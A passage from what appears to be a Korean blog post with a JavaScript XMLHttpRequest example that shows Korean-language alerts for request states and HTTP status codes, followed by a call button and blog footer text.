                }else if(httpReq.readystate==2){
                        alert("status 와 헤더는 도착하지 않은 상태");
                }else if(httpReq.readystate==3){
                        alert("데이터 일부를 받은  상태");
                }else if(httpReq.readystate==4){
                        if(httpReq.status==200){
                                alert("요청성공");
                        }else if(httpReq.status==403){
                                alert("접근거부");
                        }else if(httpReq.status==404){
                                alert("페이지없음");
                        }else if(httpReq.status==500){
                                alert("서버오류");
                        }
                }
        }
//-->
</SCRIPT>
<input type="button" value="호출" onclick="proc()">
크리에이티브 커먼즈 라이센스
Creative Commons License
트랙백이 없고, 댓글이 없습니다.
◀ 이전페이지 1 2 다음페이지 ▶